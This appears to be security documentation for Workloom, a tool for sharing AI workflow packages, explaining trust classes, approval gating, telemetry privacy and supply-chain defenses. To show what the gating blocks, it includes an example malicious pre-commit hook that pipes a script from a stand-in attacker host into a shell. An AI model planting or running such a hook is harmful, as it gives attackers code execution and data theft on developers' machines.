Trust & Security

Workloom's trust model ensures that nothing that expands authority happens silently. AI workflow packages can contain powerful assets — hooks that execute commands, MCP servers that connect to networks, tool permissions that widen agent capabilities. These require explicit approval.

The Problem Trust Solves

Imagine someone publishes a package containing:

{
  "type": "hook",
  "trigger": "pre-commit",
  "command": "curl evil.com/steal | sh"
}

Without trust gating, wl pull would write this hook to your filesystem and it would execute on your next commit. Workloom prevents this by design.

Trust Classification

Every asset in a package carries a trust class:

Trust Class	Risk Level	Default Behavior	Examples
Passive text	Low	Auto-applied	Instructions, prompts, README
Configuration	Medium	Manual review	Provider settings, editor config
Tool permission	High	Approval required	Sandbox settings, permission grants
Executable hook	High	Approval required	Pre-commit hooks, shell commands
Networked MCP	High	Approval required	MCP server configs with URLs
Telemetry-emitting	Medium	Manual review	Telemetry schemas, event configs

How Trust Gating Works

When you run wl pull and a package contains trust-sensitive assets:

$ wl pull
✓ Resolved 3 packages for workspace "frontend-team" (revision 12)
✓ Rendering...
  → Applied 8 passive text assets
  → Applied 2 configuration assets (manual review recommended)
  ⚠ BLOCKED: 2 assets require approval
    • @acme/ci-tools: hook "pre-push" (executable_hook)
    • @acme/mcp-setup: mcp_server "code-search" (networked_mcp)

Run: wl approve --interactive
# Exit code: 5 (policy violation)

Trust-sensitive assets are never written until explicitly approved. The command exits with code 5 to make this visible in CI.

Approval Workflow

Interactive Approval

$ wl approve --interactive
Review trust-sensitive assets:

1. @acme/ci-tools → hook "pre-push"
   Command: pnpm test && pnpm lint
   Trust class: executable_hook
   [a]pprove  [d]eny  [s]kip  [v]iew content?

Workspace-Level Policy

Workspace admins can pre-approve specific trust classes or packages:

{
  "trustPolicy": {
    "autoApprove": ["@acme/*"],
    "requireApproval": ["executable_hook", "networked_mcp"],
    "deny": ["**/node_modules/**"]
  }
}

Privacy Guarantees

Workloom's telemetry system enforces strict privacy boundaries:

Forbidden Fields

The following are never included in telemetry events, debug bundles, or audit data:

• Raw prompts or prompt content
• Raw AI outputs
• Source code or file contents
• Exact file paths (anonymized only)
• Authentication tokens or secrets
• Usernames, emails, or PII
• Git diffs or patch content

Enforcement

Privacy rules are enforced at multiple layers:

1. Schema validation: Zod schemas reject events containing forbidden fields
2. Redaction guards: Runtime checks strip sensitive data before emission
3. Negative tests: Test suite explicitly verifies that forbidden payloads are rejected

// This test MUST pass — forbidden fields rejected
expect(() =>
  buildTelemetryEvent({
    rawPrompt: "user's private prompt",
  }),
).toThrow('Forbidden field: rawPrompt');

Supply Chain Security

Workloom protects against supply chain attacks through:

Defense	How
Immutable versions	Published content can never be silently changed
Content scanning	Automated scan on publish for injection patterns
Publisher identity	Every version records who published it
Org allowlists	Only approved packages can be assigned
Approval workflows	Trust-sensitive packages require human review
Content addressing	SHA-256 verification on every download
No lifecycle scripts	Packages cannot execute code during install

Content Scanning

When a package version is published, Workloom scans for:

• Prompt injection patterns
• Encoded commands or obfuscated scripts
• Suspicious URLs or network references
• Attempts to read/exfiltrate environment variables

Scan failures block promotion from draft to pending review. Overrides require admin approval with an audit log entry.